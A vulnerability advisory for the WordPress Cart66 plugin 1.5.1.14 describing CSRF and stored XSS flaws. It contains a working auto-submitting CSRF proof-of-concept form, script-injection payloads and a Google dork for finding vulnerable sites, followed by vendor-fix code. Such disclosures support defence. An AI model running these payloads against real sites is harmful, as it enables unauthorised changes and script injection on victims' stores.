WordPress Plugin Cart66 1.5.1.14 – Multiple Vulnerabilities
# Exploit Title: Wordpress Cart66 Plugin 1.5.1.14 Multiple Vulnerabilities # Exploit Author: absane # Blog: http://blog.noobroot.com # Discovery date: September 29th 2013 # Vendor notified: September 29th 2013 # Vendor fixed: October 2 2013 # Vendor Homepage: http://cart66.com # Software Link: http://downloads.wordpress.org/plugin/cart66-lite.1.5.1.14.zip # Tested on: Wordpress 3.6.1 # Google-dork: inurl:/wp-content/plugins/cart66 # CVE (CSRF): CVE-2013-5977 # CVE (XSS): CVE-2013-5978 Two vulnerabilities were discovered in the Wordpress plugin Cart66 version 1.5.1.14. Vulnerabilities: 1) CSRF 2) XSS (Stored) VULNERABILITY #1 ************ *** CSRF *** ************ Page affected: http://[victim_site]/wordpress/wp-admin/admin.php?page=cart66-products If the Wordpress admin were logged in and clicked on a link hosting code similar to the one in the PoC, then the admin may unknowingly add a product to his site or have an existing product altered. Other possibilities include, but are not limited to, injecting code into a field vulnerable to stored XSS (see the second vulnerability). ================ Proof of Concept ================ Host this code on a remote wesbserver different from the Wordpress site that uses Cart66. As an authenticated Wordpress admin user visit the page and add what you will to the fields. A new product is added. In a live attack, the fields will be hidden, prefilled, and some javascript code will auto submit the fields. <html><body> <form name="csrf_form" action="http://192.168.196.135/wordpress/wp-admin/admin.php?page=cart66-products" method="post" enctype="multipart/form-data" id="products-form"> <input type="hidden" name="cart66-action" value="save product" /> <input type="hidden" name="product[id]" value="" /> <input class="long" type="hidden" name='product[name]' id='product-name' value='<script>alert("pwned")</script>' /> <input type='hidden' name='product[item_number]' id='product-item_number' value='1337' /> <input type='hidden' id="product-price" name='product[price]' value='13.37' /> <input type='hidden' id="product-price_description" name='product[price_description]' value='<script>alert(";)")</script>' /> <input type='hidden' id="product-is_user_price" name='product[is_user_price]' value='0' /> <input type="hidden" id="product-min_price" name='product[min_price]' value='' /> <input type="hidden" id="product-max_price" name='product[max_price]' value='' /> <input type='hidden' id="product-taxable" name='product[taxable]' value='0'> <input type='hidden' id="product-shipped" name='product[shipped]' value='1'> <input type="hidden" id="product-weight" name="product[weight]" value="" /> <input type="hidden" id="product-min_qty" name='product[min_quantity]' value='' /> <input type="hidden" id="product-max_qty" name='product[max_quantity]' value='' /> <script type="text/javascript">document.csrf_form.submit();</script> </body></html> ////////////////////////////////////////////////////////////////////////////////////////////////////////////// \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ VULNERABILITY #2 ******************* *** Stored XSS *** ******************* Page affected: http://[victim_site]/wordpress/wp-admin/admin.php?page=cart66-products in the following input fields: * Product name * Price description ================ Proof of Concept ================ In the vulnerable fields add <script>alert(0)</script> The product name XSS vuln is particiularly dangerous because an attacker can use the CSRF vulnerability to add a product whose name is a malicious script. All the admin user needs to do is view the product to be attacked. ]....................................[ ]..............SOLUTIONS.............[ ]....................................[ Grab the latest update! Or... XSS ---- In products.php, replace the line: $product->setData($_POST['product']); with: $product->setData(Cart66Common::postVal('product')); CSRF ---- In products.php, replace the following: <form action="admin.php?page=cart66-products" method="post" enctype="multipart/form-data" id="products-form"> <input type="hidden" name="cart66-action" value="save product" /> <input type="hidden" name="product[id]" value="<?php echo $product->id ?>" /> <div id="widgets-left" style="margin-right: 50px;"> <div id="available-widgets"> with: <form action="admin.php?page=cart66-products" method="post" enctype="multipart/form-data" id="products-form"> <input type="hidden" name="cart66_product_nonce" value="<?php echo wp_create_nonce('cart66_product_nonce'); ?>" /> <input type="hidden" name="cart66-action" value="save product" /> <input type="hidden" name="product[id]" value="<?php echo $product->id ?>" /> <div id="widgets-left" style="margin-right: 50px;"> <div id="available-widgets"> And, in Cart66Product.php replace the validate() function with: public function validate() { $errors = array(); if(!wp_verify_nonce($_POST['cart66_product_nonce'], 'cart66_product_nonce')) { $errors['nonce'] = __("An unkown error occured, please try again later","cart66"); } else { // Verify that the item number is present if(empty($this->item_number)) { $errors['item_number'] = __("Item number is required","cart66"); } if(empty($this->spreedlySubscriptionId)) { $this->spreedlySubscriptionId = 0; } // Verify that no other products have the same item number if(empty($errors)) { $sql = "SELECT count(*) from $this->_tableName where item_number = %s and id != %d"; $sql = $this->_db->prepare($sql, $this->item_number, $this->id); $count = $this->_db->get_var($sql); if($count > 0) { $errors['item_number'] = __("The item number must be unique","cart66"); } } // Verify that if the product has been saved and there is a download path that there is a file located at the path if(!empty($this->download_path)) { $dir = Cart66Setting::getValue('product_folder'); if(!file_exists($dir . DIRECTORY_SEPARATOR . $this->download_path)) { $errors['download_file'] = __("There is no file available at the download path:","cart66") . " " . $this->download_path; } } } return $errors; } |